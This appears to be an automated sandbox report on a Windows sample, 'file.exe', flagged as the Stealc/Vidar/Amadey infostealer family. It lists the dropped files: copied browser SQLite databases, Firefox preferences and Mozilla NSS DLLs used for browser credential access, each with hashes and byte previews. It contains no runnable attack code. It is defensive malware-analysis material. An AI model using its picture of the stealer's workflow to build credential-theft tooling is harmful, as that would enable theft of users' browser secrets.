Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFIJKEBFBFHIJJKEHDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHJECFCGHIDGHIDHDHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAEBGCAAECAKFHIIJDBAKJDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGHDGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGIJEGHDAECAKECAFCAKFCGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKFIIEBKEGIEBFIJKFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KKKJKEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649222685068673
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM3SAELyKOMq+8yC8F/YfU5m+OlTLVumO:Bq+n0J39ELyKOMq+8y9/Owl
MD5:	D7A0D0573CE6AED29D77D8230A1C7BC4
SHA1:	C9043CD318F81F4438A963E87D4F41D1C97FED64
SHA-256:	32A649B7C18E38FC62AA97414F1E95173FC74C1AA4FB227FFD1F7A39B7FBBC0B
SHA-512:	D2E4B088891EFEE85D8EF9BC6B9431FF9F82902EECD32822EF3F10A8E4CCF3B823CE52371429207FE885A6B36FEDC9985405F6A76BC6858B9B51351CD1FF6DA3
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\092c9f9f-85d2-4cc4-a07e-7c2c79a416cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46047
Entropy (8bit):	6.0888556027087795
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5d90DLu+hDO6vP6O29O04FUMJpkXFfDUIQmxgRCAonGoup1Xl3jz:cMk1rT8H19046EVqIQ9Ronhu3VlXr4i
MD5:	176C0130C8329D9FA69A4E01B025F3F8
SHA1:	9BFE5998A334E162B8620C4C4E1D30791312FFE5
SHA-256:	EC551026E075C1106FA23ADBF7A2EFD5AA1CBD4879C2038F540AE27A4EC0F495
SHA-512:	61E8A12AACBAA0D56BD8B4C5FD2BCCD92664BD315BFC8971BDBBD48A93C4DABB54F2EF73199E2D01516EF5A98F2849297C35517758EF086F952E4E8D16B71B32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732540472"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1d85c0a5-2d49-469d-8bc1-9e1ee07b94ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46124
Entropy (8bit):	6.088747405420682
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5O90DLu+hDO6vP6O29O045UMJpkXFfDUIQmxgRCAonGoup1Xl3jz:cMk1rT8HG9046EVKIQ9Ronhu3VlXr4i
MD5:	7B5908A851F51BCD4B376E092AE231DF
SHA1:	486E99045D4EE917BB5E0FB1A4E6F24B3729D9FF
SHA-256:	FDA137989A88F3D43507661D6F3B6691A09E8E6A8812DBE0FD0D6D42F95E4B94
SHA-512:	4DC9535DCBA136C7DC0CB226AA37CBFE63C1D79DD183CDE9B622508E27AAC294278586E494C243012021A5C091F4D2F078BE0C89B3F91A9E2A9C45B4E0BBC9BB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732540472"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\382a1624-7ade-4c24-a7de-50c13657f985.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090729445129771
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+Stbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6rtbz8hu3VlXr4CRo1
MD5:	D21871F98AD59082AD51434D7A785674
SHA1:	CAAB829C69ABD37E3436B3639C9E1FFE67E629F3
SHA-256:	1D8D56AA42C165B112857FC4E0F608466365C12E900ADEE60F18CC44177FFED1
SHA-512:	96653C12D5C677B24AEADF9399D93790E7A5DDA98CAE7E3BB0CC31FBC503E005D820D929FDF177705FC448F3E7860C9FC67E4909C4B24ED685D8D215EDAB5E4D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4c7d280d-6cb9-4685-9aa2-914df5a96ddc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44620
Entropy (8bit):	6.097030097709572
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBzwu1hDO6vP6O29O04ds2dEVAzD4cGoup1Xl3jVz6:z/Ps+wsI7ynEY6EVzchu3VlXr4CRo1
MD5:	B841FBD4059A67E21FC9BCBCA96FD8D7
SHA1:	FCDF393F0E8163C1531563B2D296D0BCE740A055
SHA-256:	6A7264EA80E53EEA51709E89F6D14E12CE51749F9583F34394F45BEF5C36DE0E
SHA-512:	F938BB70ED52D19E85C3995EEAFA5E0B2A96720E4EC88F6D74DB8C56B4B0013B4852B969C183E52BD5F7166063604643CFDB4CC8B3BF21152EC34058725C564B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\562b04e2-812a-4c0d-b289-4813ca3700bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46124
Entropy (8bit):	6.088750373554104
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQc5Oo0DLu+hDO6vP6O29O045UMJpkXFfDUIQmxgRCAonGoup1Xl3jz:cMk1rT8HGo046EVKIQ9Ronhu3VlXr4i
MD5:	2EFC6BFE4179AB0A44CA7FAC14288E86
SHA1:	656623ECBBD9229BEE0834B40D7BB51B338A851A
SHA-256:	9837454F1F4FA90FC4DF61106A175821869A5F2E3B8465D391552C0F2FD4D048
SHA-512:	2DF22017C23CD41DA1152A5D1F6E52D78D2B6A07246F96C4695EBE6D633995B9DA2C95DBE814FAE95614711299E253B937E7EB3444E06CEF71E924FD977A349B
Malicious:	false
